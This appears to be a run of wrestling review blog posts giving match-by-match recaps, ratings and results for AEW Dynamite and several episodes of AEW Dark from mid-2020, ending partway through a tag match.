IMG Credit: All Elite Wrestling

Dynamite
Date: July 15, 2020
Location: Daily’s Place, Jacksonville, Florida
Commentators: Excalibur, Taz, Jim Ross

It’s time for another big show with Fight For The Fallen, which will feature a major main event as AEW World Champion Jon Moxley defends the title against Brian Cage. That’s quite the big way to go and it should be interesting to see if it’s enough to cut off NXT’s streak of viewership wins over AEW. Let’s get to it.

Here are last week’s results if you need a recap.

The opening video mainly looks at Cody vs. Sonny Kiss for the TNT Title.

TNT Title: Cody vs. Sonny Kiss

Cody is defending and has Arn Anderson with him. Kiss on the other hand has some of the Jacksonville Jaguars cheerleaders. Cody charges at him with a kick to the face but stops to do some pushups, much to Arn’s annoyance. The Disaster Kick (which clearly didn’t come close) gets two and Kiss bails outside. Arn yells at Cody for not being serious enough and Kiss gets in a few shots to the back.

They head back inside with Cody grabbing a full nelson as we see Tully Blanchard watching for the second time. Kiss slips out and hits a t-bone suplex. The middle rope hurricanrana takes Cody down and a headscissors sends him into the corner. A 450 gives Kiss two but another headscissors is countered with a shove over the top and onto the ramp. The Alabama Slam on the ramp gets two, with Cody trying the cover too close to the rope.

A terrifying looking Vertebreaker gets two more and Cody hits a top rope superplex for the same. Cody yells at the referee and gets rolled up, only to switch into a Crossface. Kiss makes the rope again and frustration sets in, so Cody unhooks a buckle pad. The distraction lets Kiss send him face first into the exposed buckle for a close two but Cody comes back with Cross Rhodes to retain at 10:44.

Rating: B-. They told a good story here and that’s the right idea in something like this. They weren’t going to change the title here as Cody seems to be inching closer to a heel turn, which might be the best thing that he could do. Kiss tried here but Cody is a bigger star and a more developed character, so there wasn’t much of another way to go.

Post match they hug and Arn seems to calm down a lot.

How to donate to various charities, which are the point of tonight’s show. Nothing wrong with that.

Here’s what’s coming on the show.

Lucha Bros vs. FTR

The Bros are driven to the ring by Butcher and Blade in FTR’s truck. Pentagon stomps Harwood down but Harwood is ready for the chop and stomps on Pentagon’s hand. It’s off to Fenix who takes Harwood down for a not so great version of the wheelbarrow splash. Wheeler comes in for a slingshot elbow into a backbreaker from Harwood to take over. A quick legdrop from Harwood sets up some clubberin to keep Fenix in trouble.

Fenix slips out of a suplex though and it’s back to Pentagon for the rapid fire kicks. An apron dropkick hits Harwood on the floor and the Bros get to pose. Back with Harwood getting the hot tag to throw some suplexes and hit a sliding uppercut for two on Fenix. Wheeler comes back in but gets kicked down, setting up a springboard legdrop for two. Harwood is back in for a top rope bulldog/reverse powerbomb combination for another near fall, with Pentagon having to make a save.

The top rope superplex connects on Pentagon but he gets his knees up to block Wheeler’s top rope splash. Harwood blocks Fenix’s springboard splash with his own raised knees and everyone is down. They pull themselves up and the slugout is on with Pentagon hitting a Sling Blade on Wheeler. The Pentagon Driver on the apron is broken up and they chop it out until Pentagon hits a kick to the face. Wheeler gets back inside and sends Pentagon outside for a suicide DDT, only to get taken down by Fenix’s dive. Back in and Fenix kicks Harwood in the head so Harwood pulls off the mask, setting up a small package for the pin at 9:30.

Rating: B. I liked this more than most of FTR’s matches so far as they didn’t go as insane here. I wasn’t wild on the ending though as the pull the mask off finish is one of those things that you see too often. The athleticism was on display here as it should be in a Bros match but they added in some actual tag wrestling to mix it up a bit. Good, fun match and more of what I wanted from FTR.

Post match Butcher and Blade taunt FTR over the stolen keys to the truck but here are the Young Bucks to superkick them down. They get the keys back and come to the ring but here’s Kenny Omega with a cooler. The beer is pulled out but FTR pours it on Omega’s head. The Bucks have to hold him back as Harwood pours the ice on himself to cool down. FTR gets in the truck but it doesn’t seem to start.

Here’s the Inner Circle, with orange juice, for a chat. Chris Jericho talks about having a great match last week….and brags about being the king of the ratings and how important that the demographic is compared to overall viewers. He has never lost in the demo and dubs himself King of the Demo. Everyone has been begging for a rematch with Orange Cassidy and that means it’s not going to happen. The fans chant that Jericho is scared but the Demo God is never scared.

Instead, Jericho drinks a toast to Cassidy and pours one out for his career, but here’s Cassidy to interrupt. Jericho insults Cassidy for being an entitled sloth so there is no rematch. He demands that Cassidy get out of the arena so Cassidy gives him a thumbs down….and orange juice rains down from the ceiling onto the Inner Circle. Jericho freaks out over the $7,000 jacket and demands a towel. He does get one, which has Cassidy’s face on it.

Jurassic Express thinks that was hilarious. Luchasaurus thinks there is nothing funny about facing the Elite. Stunt doesn’t have his kickpads but it doesn’t matter.

Jericho, now covered in juice, is on commentary in Taz’s place and doesn’t like the above the ring shot of the juice falling.

Jurassic Express vs. Elite

Omega is still soaked in beer but they did at least replace the mat. Boy works on Nick’s wrist to start and there’s the rope walk armdrag to send Boy down. The slingshot X Factor is countered with a handstand as we see Hangman Page drinking in the back. Omega and Stunt come in with Omega shoving him down without much effort. Omega won’t shake hands so Stunt slugs away and armdrags him down for two. A springboard headscissors puts Omega down and he isn’t sure what to think.

Jericho thinks it’s because Omega is underestimating Stunt, with the proof of Omega keeping his shirt on. Luchasaurus comes in to drop Matt onto his face. The kick to the head gets two as Jericho is suspicious about Luchasaurus being 65 million years old. Jericho: “I WANT TO SEE HIS BIRTH CERTIFICATE!” Everything breaks down and Stunt hits a dive, setting up the floss dance, because that stupid thing can’t just go away. Nick kicks him in the head, causing Jericho to deem him his new favorite wrestler.

Everyone at ringside stand together and look at Omega as he does the Terminator pose, then runs the rope and hits the big dive. We take a break and come back with Boy blasting Omega with a clothesline and hitting a springboard tornado DDT on Matt. Luchasaurus gets to clean house as FTR join Page at the bar (Jericho: “NO ORANGE JUICE AVAILABLE BOYS!”).

Omega comes back in to get headbutted by Luchasaurus. The V Trigger staggers Luchasaurus and there’s the snapdragon to all three of the Express (Jericho: “KENNY OMEGA IS MY NEW FAVORITE WRESTLER!”). The Extinction Level Event gets two on Omega with the Bucks making the save. The Tail Whip misses Omega and it’s time for the superkicks.

A triple tiger driver 98 gets two on Luchasaurus, with Jericho asking Excalibur why he knows that name. Stunt (barely) hits a 450 for two on Matt and everyone goes to the ramp for a WAY too choreographed springboard top rope Canadian Destroyer. Say it with me: it gets two. Omega V Triggers Luchasaurus and gets rolled up by Stunt for two. The One Winged Angel finishes Stunt at 15:30.

Rating: B-. I know it’s the AEW style but egads this had WAY too many moments where they might as well have paused the match, pulled out a white board and drawn up their spot before starting up again. Couple that with Stunt getting offense in on someone who is supposed to be the most amazing wrestler in the world and this was borderline ridiculous. I know you have to set up spots but could you please stop making it look that obvious?

Post match Omega keeps hammering on Stunt until the Bucks pull him off. Omega tries to say that it’s not a big deal.

Hikaru Shida says she’s ready for Nyla Rose or anyone else.

Jon Moxley is ready to fight Brian Cage after all those weeks off.

Excalibur thinks that people 18-49 love instant replay so we see the orange juice drop again.

Brandi Rhodes/Allie vs. Kenzi Paige/MJ Jenkins

Brandi kicks Paige in the face to start and Allie adds a superkick. It’s already back to Brandi for a Sling Blade but Paige gets over for the tag to Jenkins. That’s fine with Allie, who hits a reverse DDT for the pin at 1:58.

Here’s Nyla Rose for a chat. She has a manager but isn’t ready to tell us who it is. Instead, she’s going to let the manager tell us herself. Cue Vickie Guerrero to say she is going to guide Rose back to the Women’s Title. Rose is going to steal the dreams of everyone in the women’s division. There are some far worse choices than Guerrero for this spot.

Here’s what’s coming next week.

AEW World Title: Jon Moxley vs. Brian Cage

Cage, with Taz, is challenging. Moxley goes right at him to start and gets knocked down without much effort. The confidence is high to start but Cage has to fight away from a Fujiwara armbar attempt. Cage does curls with Moxley and sends him flying but Moxley knocks him out of the corner. A middle rope dropkick puts Cage down and Jericho is rather pleased with Moxley getting to take his shirt off.

Moxley stays on the arm and gets two off a kick to the chest. The cross armbreaker is broken up with some forearms to the face but Moxley drops him ribs first across the top rope. That’s enough to put Cage on the floor and Moxley hits a suicide dive. Cage sends him into the barricade though and they fight near the stands. Moxley bends the arm around the barricade and gets in a kick to the steel and the barricade is set up against the apron. A belly to back suplex drops Moxley onto said barricade and we take a break.

Back with Cage grabbing a camel clutch before letting it go to take things outside. A suplex onto an open chair destroys Moxley again, but he’s fine enough to grab two near falls back inside. Moxley dropkicks him into the ropes and they trade clotheslines. The Paradigm Shift is countered but the second attempt connects for two. Moxley takes him up for a superplex and a slightly delayed near fall.

In a smart move, Moxley switches straight over to a Kimura but Cage powers out again. The apron superplex puts Moxley down but the Drill Claw is reversed into a cross armbreaker. Cage locks his hands so Moxley kicks him in the face over and over. Moxley bends the fingers back and gets the hold on in full. That’s switched over as Cage gets onto his face but Moxley switches it over again. Taz freaks out as Cage won’t tap and throws in the towel to retain Moxley’s title at 15:44.

Rating: B. This felt like a fight but I’m going to have to let that ending process a bit. Taz throwing in the towel makes sense and leaves the door open for a rematch, but I really don’t know about having Cage lose in any way this soon. There could be far worse ways out of the corner they were in, though it didn’t feel quite right.

Post match Cage hits Moxley with the FTW Title and unloads with right hands….and there go the lights. They come back up and it’s Darby Allin returning with a top rope skateboard shot to Cage. Moxley and Allin clear the ring as Taz and referees have to hold Cage back to end the show.

Overall Rating: B+. It wasn’t as good as the previous two weeks but this still worked out well. The wrestling was good (with some hiccups, mainly involving some people beating it over your head that everything you’re seeing is scripted) but I really, really hope that the “well we’re winning the ratings” is a one time thing rather than something they’re going to try to emphasize. Just have your good shows and stop bringing up WWE so often. Anyway, rather good show as the roll continues.

Results

Cody b. Sonny Kiss – Cross Rhodes

FTR b. Lucha Bros – Small package

Elite b. Jurassic Express – One Winged Angel to Stunt

Brandi Rhodes/Allie b. Kenzi Paige/MJ Jenkins – Reverse DDT to Jenkins

Jon Moxley b. Brian Cage via referee stoppage

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: All Elite Wrestling

Dark
Date: July 14, 2020
Location: Daily’s Place, Jacksonville, Florida
Commentators: Excalibur, Taz

It’s the fallout show from Fyter Fest as well as the go home show for Fight For The Fallen and we even have a title match tonight. This week it’s Brian Cage defending the FTW Title against Brian Pillman Jr. in a match that sounds a bit squashish on paper. Other than that, the show sounds like its usual self. Let’s get to it.

Here are last week’s results if you need a recap.

Rache Chanel/Diamante vs. Allie/Brandi Rhodes

Dustin Rhodes is here with Allie and Brandi, the latter of whom doesn’t like Diamante shoving Allie before the bell. Allie and Diamante lock up to start with the former hitting a Dustin drop down uppercut. Rache comes in, after getting in one final touch of the hair of course. It’s off to Brandi, who snapmares Rache down for a kick to the face and an early two. A Diamante distraction lets Chanel get in a cheap shot from behind to take over on Allie though and the stomping is on in the corner.

We hit the chinlock as Taz talks about the QT Marshall apple necklace Allie is wearing. Allie fights up but Diamante knocks Brandi off the apron to block a tag attempt. Brandi is up to pull Allie out of the way out of a running corner dropkick and the hot tag brings Brandi in. Rache knees Brandi but spends too much time talking trash can gets superkicked down. The spear finishes Chanel at 7:23.

Rating: C-. Brandi and Allie are the stars here of course and they’re not exactly the kind of team that you need to have out there for almost eight minutes. It was a good enough match with no drama on the ending, but how many people are all that interested in seeing Brandi and Allie as wrestlers? Especially when they aren’t exactly likely to be rising up the ranks all that soon in the near future.

Ricky Starks vs. Robert Anthony

They go to the mat to start with neither being able to get anywhere. Back up and Anthony gets in a few shots to the face and a kick to the ribs, only to have Starks come back with a clothesline. The release northern lights suplex drops Anthony and the spear puts him on the apron. Back in and Starks grabs a swinging neckbreaker for two but Anthony gets in a tilt-a-whirl faceplant for a breather. The surfboard into another faceplant gives Anthony two but Starks kicks him in the face. Starks picks him up with a double underhook Dominator for the pin at 4:51.

Rating: C. Anthony got in some offense here and continues to look like someone who could be a player later on. Starks looks like someone who could be a star even sooner though, which makes him one of the best signings that AEW has made in recent weeks. It’s a loss for the NWA, but dang it’s fun to watch Starks, who really does seem like a potential star of the future.

Shawn Spears talks about the history of the glove in wrestling.

Shawn Dean/Will Hobbs/Joe Alonzo vs. Dark Order

3, 4 and 5 for the Order with more of the team watching from the stage. Hobbs and 5 start things off with 5’s right hands in the corner staggering Hobbs early on. The fall away slam sends 5 flying though and it’s 4 coming in, with Hobbs giving him a World’s Strongest Slam. Alonzo comes in and hits a hiptoss but 4 sends him into the corner. 3 comes in for a double dropkick to Alonzo’s head but Dean gets the tag to send 3 face first into the corner. Dean hits a slingshot dive to the floor to take out 3 and 4, only to have 5 send him into the barricade.

5 comes back in for some rapid fire splashes and 4 adds a running kick to the chest for two. Another kick to the face sets up another splash from 5 for two more but Dean kicks 5 away. The hot tag brings in Hobbs to clean house and everything breaks down. Alonzo rolls 4 up for two but it’s a Wing Snapper from 5 into a double flipping Destroyer DDT for the pin on Alonzo at 9:12.

Rating: C-. Another match that just kind of came and went, though it could have been worse. The problem is that it’s still hard to get into three small guys who are relatively interchangeable when they’re all in masks. It doesn’t help that there was no chance of an upset here, because there never is on this show.

Marko Stunt vs. Michael Nakazawa

ARE THEY KIDDING??? I watch this show every single week and they make me watch THIS??? Nakazawa throws the baby oil away to start and drops Stunt with a shoulder. Stunt runs the ropes and bounces off of him again but a dropkick works well enough. There’s a kick to the head (Taz: “Almost like Bruce Lee but not.”) and another kick to send Nakazawa into the corner. The suicide elbow sends Nakazawa into the barricade but he drops Stunt throat first across the top back inside.

A slam gives Nakazawa two and we hit the chinlock. Hold on though as Nakazawa changes his mind and wants the oil, which he pours onto Stunt. Back up and Stunt avoids a charge in the corner so Stunt hits a top rope shot to the back. A Samoan drop cuts Stunt off again and Nakazawa crotches him on top for a slide across the top. The underwear claw is loaded up but Stunt knocks it into Nakazawa’s face. Since Nakazawa can’t let go, Stunt grabs a rollup for the pin at 6:10.

Rating: F. What are you expecting me to think here? This was another dumb match in a series of them from Nakazawa, but his buddy helps run the company and that means he is going to have a job around here as long as he wants to. Or until the rest of the roster revolts against him and chases him off with pitchforks and torches, as they should have done a LONG time ago.

Post match Stunt has to help him get the underwear off of Nakazawa’s face.

Serpentico/Luther vs. Pineapple Pete/Brady Pierce

Serpentico shoots a bunch of webbing out of his hands during the entrances. Cool visual if nothing else. Pete not being sure what to make of Serpentico and Luther is funny. Luther jumps Pete to start and hits a pump kick, followed by Serpentico’s top rope double stomp to the arm. A monkey flip gets Pete out of trouble and it’s Pierce coming in to have no effect on Luther. Brady’s running clothesline in the corner works a bit better but Luther takes Pete into the corner with ease.

Luther grabs a belly to belly for two and there’s a swinging side slam to put Pete down again. Serpentico is slammed down onto Pete for two and a slingshot double stomp sets up Luther’s knee to the face. Pete dropkicks his way out of the corner though and it’s the hot tag bringing in Pierce to clean house. A kick to Pierce’s face sets up the standing Sliced Bread though, with a spinebuster/top rope Meteora finishing Pierce at 7:02.

Rating: D+. Pretty slow match here and that’s not exactly something that makes me want to keep watching any of them. Pete continues to be fun and Serpentico feels like someone who could be a bigger star somewhere else. Then there’s Luther who is fine enough, but that’s about as high as I’m going on him.

Jurassic Express vs. Peter Avalon/Brandon Cutler

Marko Stunt and Leva Bates are at ringside while the Young Bucks are watching from the crowd. Commentary jumps up and down in quality as Cutler and Jungle Boy run the ropes to start. Cutler’s slingshot kick to the head gets two but Luchasaurus comes in and throws Boy into a Downward Spiral to drop Cutler for two. Luchasaurus leaves though and it’s Cutler hitting a springboard uppercut to the face for his own near fall.

Avalon gets two off a suplex and Cutler hits a running legdrop for the same. Boy is back with a heck of a clothesline and it’s back to Luchasaurus to clean house. Kicks to the face drop Cutler and Avalon but the standing moonsault hits Avalon’s knees. Bates gets in a hurricanrana off the apron to Boy and Cutler grabs a tornado DDT on Luchasaurus.

A heck of a springboard elbow gets two with Boy having to make the save. Boy comes in off the tag and starts taking over, including a tiger suplex for two on Avalon. Everything breaks down and some shots to the face rock Luchasaurus again but Boy is back in for the Extinction Level Event to finish Avalon at 8:45.

Rating: C+. They did a good job of making me believe that the upset could happen here, which I never would have bet on coming into this. They’re doing something with the idea of having Avalon and Cutler finally getting their first win and that’s more of a story than anything else has here. Not a great match or anything, but for what it was in this spot, well done.

FTW Title: Brian Cage vs. Brian Pillman Jr.

Pillman is challenging after Taz and Cage make it clear that the title is on the line. Pillman jumps him to start and it promptly sent into the corner for the hard clotheslines. A release German suplex sends Pillman flying again and they head outside. Cage’s powerbomb on the floor is blocked but a flip dive off the apron is countered into a suplex. The toss powerbomb into the post and there’s the apron superplex to make it worse. The Drill Claw finishes Pillman at 2:28.

Post match Cage hits back to back powerbombs into an F5 to end the show.

Overall Rating: C. This was a different format to the show and while I’m still not wild on it, I’ll take it over what they’ve done most of the time. They had some longer matches here but didn’t do as many, which made for a better setup for the whole thing. The matches stood out more and that’s one of the biggest flaws with Dark most of the time. Still longer than it needs to be and burn the Stunt vs. Nakazawa match with fire, but I think I like the altered format a bit more.

Results

Brandi Rhodes/Allie b. Rache Chanel/Diamante – Spear to Chanel

Ricky Starks b. Robert Anthony – Double underhook faceplant

Dark Order b. Joe Alonzo/Shawn Dean/Will Hobbs – Double flip DDT to Alonzo

Marko Stunt b. Michael Nakazawa – Rollup

Serpentico/Luther b. Pineapple Pete/Brady Pierce – Meteora/spinebuster combination to Pierce

Jurassic Express b. Peter Avalon/Brandon Cutler – Extinction Level Event to Avalon

Brian Cage b. Brian Pillman Jr. – Drill Claw

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: AEW

Dark
Date: June 30, 2020
Location: Daily’s Place, Jacksonville, Florida
Commentators: Taz, Excalibur

The road to Fyter Fest continues with a stop the night before and a bunch of squash matches. The show has trended a little bit in the shorter direction as of late and that is a good thing. With the shows being a bit shorter, the matches that we get have a little more impact. That’s a good thing for this show, which is still finding its footing. Let’s get to it.

Here are last week’s results if you need a recap.

We open in the back with Brandon Cutler and Peter Avalon laughing at each other, but Leva Bates tries to calm them down. The Young Bucks come in to say they’re teaching them something. They’ve been doing this for a decade and a half and they’ve never considered turning heel. Cutler disagrees and we get a Bucks book plug.

The announcers welcome us to the show in a hurry.

Max Caster vs. Shawn Spears

We get a quick weapons check and we’re ready to go. Feeling out process to start with Caster armdragging him down and doing a little dance as a result. Spears fires off some crossface shots to the head and trips him down, setting up a spinebuster. The C4 finishes Caster at 3:19.

Rating: D+. Spears continues to be the same guy he’s almost always been, which means he isn’t all that interesting and doesn’t do anything that we haven’t seen done better elsewhere. He didn’t even need the loaded glove here, which should be the case in a match like this. Nothing to see, which tends to be the case for Spears.

Post match Blanchard gives Spears the piece of metal for the loaded glove to Caster’s head.

Lance Archer vs. Pineapple Pete

Archer, with Jake Roberts, jumps Pete before the bell and nearly knocks Jake down. Pete hammers away to start and manages to dropkick Archer off the apron. With Joey Janela (who faces Archer at Fyter Fest) laughing at Archer, Roberts demands more focus. Archer pulls Pete outside for a chokeslam onto the apron, followed by a clothesline to the back of the head inside.

After some yelling at Janela, Archer hits a suplex and glares at Pete for daring to fight back. A splash out of the corner gives Archer two but Pete slips out of the Blackout. Pete’s headbutt doesn’t do much and it’s the Blackout into the EBD Claw to finally finish Pete off at 5:58.

Rating: D-. Nope. This was the living definition of missing the point entirely and that’s not a good sign. Pete is a comedy goof and the monster just took nearly six minutes to beat him. Not six minutes of taking his time with Pete, but six minutes of Pete slipping away over and over. That should make Janela laugh at Archer, not make him scared of him. Not every jobber needs to get in their hope spots and that was the case here. Archer should have destroyed him but instead it was almost competitive at times. Try again.

Post match Archer stays on Pete until Janela makes the save with a leaf blower of all things.

Ricky Starks vs. Griff Garrison

Feeling out process to start with Starks slipping out of a suplex attempt and then blocking a hiptoss. Starks dropkicks him into the corner and gets to show off his rather good facials. Garrison gets a boot up off the ropes but charges into an elbow to the face. A middle rope dropkick puts Garrison down again and a heck of a spear finishes him off at 4:03.

Rating: C. Now that’s more like it, as Starks never felt like he was in danger and Garrison only got in a few shots here and there. It wasn’t a competitive match and they didn’t bother making this into anything more than it was supposed to be. Starks continues to look like a star and he got to showcase himself a bit here.

Scorpio Sky vs. Brady Pierce

Sky has new music. A waistlock into a rollup gives Sky two to start and he goes up, only to have Pierce slap him in the face. That ticks Sky off and he hammers away, even standing on the bottom rope to get a better angle. La majistral gives Sky two but the TKO is blocked. Pierce hits a running knee in the corner for a delayed two and some right hands keep Sky in trouble. Sky is sent to the apron but comes right back with a slingshot cutter for the pin at 3:38.

Rating: C-. Sky is always worth a look and Pierce is one of the better jobbers around here. They are smart by having Sky working as a singles guy as he could be quite the star in the future, or even the present. There is something about him that is easy to watch and hopefully we get to do that more often.

KiLynn King/Skyler Moore vs. Allie/Brandi Rhodes

Dustin Rhodes is here with Brandi and Allie, who are collectively known as the Nightmare Sisters. Brandi says not so fast because they are neither a team or related. Brandi drives King into the corner to start and snaps off an armdrag but Allie tags herself in. Some knees to the ribs keep King in trouble so Brandi tags herself in this time. The distraction lets King roll away and then drive Brandi into the corner.

It’s off to Moore, who is sent into King in a hurry. Moore is right back up to take Brandi down and take back over though and a World’s Strongest Slam gets two. As Allie tells Brandi to get her head in the game, Brandi grabs a Stunner and brings Allie back in for a bulldog. Allie lays Moore out with a Nightmare on Helm Street (and with a shoutout to QT Marshall) but tags Brandi in so she can get the win at 5:33.

Rating: D+. It wasn’t the best match, but it was a lot easier to watch because it had some storyline advancement. I know Brandi/Allie isn’t the most thrilling story in the world, but it’s a heck of a lot more interesting than watching a revolving door of wrestlers fighting each other for weeks on end.

Fuego del Sol/Low Rider vs. Butcher and Blade

Blade headlocks Fuego to start and then plants him down with ease. Butcher comes in for some double shoulders to take Fuego down, followed by a heck of a toss into the corner. Rider comes in and gets taken down as well (Taz: “Low Rider has a couple of flats!”). Blade chops the heck out of Rider in the corner and then steps on the back of his head.

A backdrop driver plants Rider again and you can hear the noise stop as Rider is checked on. He’s ok enough to roll over and make the tag to Fuego, who is taken into a Cloverleaf from Butcher. Rider kicks him in the head to no avail so Blade runs Rider over. A powerbomb into a Boston crab makes Fuego tap before the hold is even on at 4:13.

Rating: C. Now that was more like it as Butcher and Blade looked completely dominant with nothing Fuego or Rider could do even making them break a sweat. That’s the kind of thing that you need as Butcher and Blade are going into a big match without much of a record. This worked well and did everything they needed it to do.

Young Bucks vs. Peter Avalon/Brandon Cutler

Leva Bates is here with Cutler and Avalon. Matt and Cutler lock up to start with Matt working on a wristlock. Nick comes in to stay on the arm but Cutler reverses into a wristlock of his own. Avalon isn’t interested in a tag but comes in after the Bucks knock the heck out of Cutler again. That means the Bucks beat up Avalon for a change, meaning it’s right back to Cutler, who is legdropped in the back of the head.

Cutler and Avalon get in another argument so the Bucks give them a minute and then hit a double dropkick to the floor. A Bates distraction doesn’t work as Matt spears Avalon down and slaps on a front facelock. Matt catapults Avalon into a kick to the head in the corner, setting up a running knee for two. A double clothesline puts Matt and Avalon down so the double tag brings in Cutler to clean house on Nick.

Cutler hits a double suicide dive and a high crossbody gets two on Matt. The argument is on again but they manage to kick the Bucks down and it’s a tornado DDT into a top rope elbow for another near fall on Matt. Nick is right back up though and starts cleaning house as he tends to do, including a superkick to knock Cutler off the apron. The BTE Trigger (knee to both sides of the head) finishes Avalon at 9:16.

Rating: C. There was a nice sequence near the end there where the Bucks were in some trouble, but the Bucks aren’t losing to almost anyone, let alone these schmucks. The story of the team not getting along is fine, but given that they have never won a thing, why do they keep getting booked on a show where records matter? Anyway, not bad at all here, but the attempt at drama didn’t quite work.

A Fyter Fest Night One rundown ends the show.

Overall Rating: C+. Complete misfire on the Archer match aside, this was a WAY better effort as the show was getting closer to the preferable length (one hour on the nose) and didn’t have a ridiculous amount of matches. With just a seven match card, I can actually remember a few specific matches instead of having a big mess of matches with nothing standing out. Do it like this and they have something. Otherwise, don’t waste the time.

Results

Shawn Spears b. Max Caster – C4

Lance Archer b. Pineapple Pete – EBD Claw

Ricky Starks b. Griff Garrison – Spear

Scorpio Sky b. Brady Pierce – Slingshot cutter

Allie/Brandi Rhodes b. KiLynn King/Skyler Moore – Nightmare on Helm Street to Moore

Butcher and Blade b. Fuego del Sol/Low Rider – Boston crab to del Sol

Young Bucks b. Brandon Cutler/Peter Avalon – BTE Trigger to Avalon

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: AEW

Dark
Date: June 16, 2020
Location: Daily’s Place, Jacksonville, Florida
Commentators: Excalibur, Taz

We are coming up on Fyter Fest and that is going to have very little to do with this show. As usual, this show is probably going to be rather lengthy and feature several not so competitive matches between mid and lower card names. Somehow this show keeps getting longer and I’m not sure why. Let’s get to it.

Here are last week’s results if you need a recap.

This week’s run time: an hour and thirty six minutes. Egads man.

Taz and Excalibur offer a very quick preview.

Capital Vices/Jon Cruz vs. Jurassic Express

The Vices (Sin and Money) are dressed as Freddie Kruger, but one of their students is a colleague of mine so I’ll be nice. Money takes Boy into the corner to start but gets taken to the mat amateur style. It’s off to Stunt vs. Cruz with Stunt dropkicking him into the corner. Money comes back in and gets beaten up in a hurry.

Luchasaurus wrecks everyone in front of him and it’s Stunt’s splash into Boy’s Swanton for two. Sin gets in a Flatliner on Boy though and Money adds a springboard legdrop for one. The comeback doesn’t take long though and it’s Luchasaurus coming in to clean house again. The Tail Whip to Cruz sets up a tiger suplex to give Boy two and Stunt dives onto the Vices. Extinction Level Event finishes Cruz at 6:21.

Rating: D+. Acceptable enough six man tag here and that’s even including Stunt getting to beat people up. Boy and Luchasaurus are a rather nice team on their own, but why do what works when you can add something else to it for the sake of adding him? I keep waiting on that Luchasaurus push and it never seems to come. Kind of a shame, but it’s not like they’re in a big rush with him.

SCU vs. Peter Avalon/Brandon Cutler

Christopher Daniels/Kazarian for SCU here and Leva Bates is with Avalon/Cutler. Avalon and Kazarian start things off with the latter shoving Avalon down for an armbar. Back up and Kazarian avoids an armdrag attempt, setting up another armbar. Taz on Avalon and Cutler’s losses: “They’re basically sucking thus far.”

Daniels comes in for a wristlock on Cutler, who gets away and hits a springboard forearm (probably giving Daniels some flashbacks). It’s back to Kazarian for a gutwrench suplex but Avalon gets in a cheap shot on Daniels from the apron to take over for the first time. Cutler mixes things up with a bottom rope springboard to knock Daniels outside where Avalon runs him over again.

Back in and Daniels gets over for the tag without much trouble so Kazarian comes in to clean house. Avalon cuts him off with a flapjack and Cutler adds a springboard elbow for two. Kazarian kicks Cutler down though and Daniels comes in with a middle rope stomp to the chest. The slingshot into a cutter only gets two with Cutler making the save. Cutler is knocked to the floor and Celebrity Rehab finishes Avalon at 8:04.

Rating: C-. This was a good example of a match that shows the appeal and problem with Dark. Avalon and Cutler have yet to win a match together and they aren’t beating SCU to get their first one. The match was longer and more competitive, but there are long stretches of time where I find myself just waiting for SCU to get the win. It’s the problem with matches like this getting time, especially when they’re not that thrilling in the first place. Not a bad match or anything, but not something that keeps the interest up.

Dani Jordan vs. Big Swole

Swole is rather fired up here and plays to the crowd well. Before the match, Swole grabs Jordan’s Burn Book and doesn’t like what she sees inside. That’s enough to start a fight so Swole dropkicks her down. Jordan kicks at the knee though and pounds away on the floor. We hit the chinlock but Swole is up in a hurry with a headbutt. A cutter into a fireman’s carry knee to the face sets up Dirty Dancing to finish Jordan at 2:24. Decent for that amount of time.

Leva Bates has a plan for Cutler and Avalon but they come in to argue about who is worse. The team splits and Bates is stressed.

David Ali vs. Lance Archer

Ali is making his debut and seems to like seeing his name on the video screen (you can’t blame him). Archer runs over the video production guy to continue his trend. Jake Roberts looks annoyed as he goes to ringside and Archer runs Ali over to start. The rapid fire forearms to the chest keep Ali down and there’s a hard shot in the corner.

The running elbow drops Ali again and he is trying to pull himself up on the ropes. Something like a Rock Bottom out of the corner puts Ali down yet again and some kicks to the ribs knock him to the middle. The Blackout connects but Archer pulls him up at two. Instead the EBD Claw finishes Ali at 4:24.

Rating: D+. That’s the kind of match Archer should be having and while it was a little longer, it wasn’t a bad use of either of them. Archer beat the heck out of Ali, who sold rather well at times. Sometimes you need someone who can just wreck people though and that is what they have with Archer.

Musa/Shawn Dean vs. Sonny Kiss/Joey Janela

Joey and Sonny hug before the match and it’s Sonny knocking Musa around to start. A handspring kick to the head sets up a Boston crab with Janela adding a legdrop to the back of the head. There’s a running spinwheel kick in the corner and stereo missile dropkicks drop Dean again.

Dean comes in and here is Archer, with Roberts having to hold him back. The distraction lets Dean get two off a dropkick to take over on Sonny. A dive through the legs allows the hot tag to Joey though and house is cleaned. Another handspring kick to the ribs in the corner has Musa in more trouble and Sonny dives onto Dean. Joey’s super hurricanrana sets up Sonny’s splits splash to finish Musa at 4:49.

Rating: C-. Another perfectly watchable match though there isn’t much to be seen from Dean and Musa. They come and go every week with loss after loss and it’s not like they do much while they’re out there. It’s cool to see AEW doing something with people, but if the wins/losses matter, why are people with 0-whatever records still appearing? Same with Avalon and Cutler for that matter actually.

Red Velvet/Kenzie Page vs. Brandi Rhodes/Allie

The Natural Nightmares are here with Brandi and Allie. Velvet is “straight out of your mama’s kitchen”. Isn’t Brandi the one with a cooking show? Allie jumps Page before the bell and since the referee doesn’t pay attention, we start in a hurry. A running knee drops Page again but she forearms Allie into the corner. It’s off to Velvet, who gets caught in a swinging neckbreaker from Allie for two.

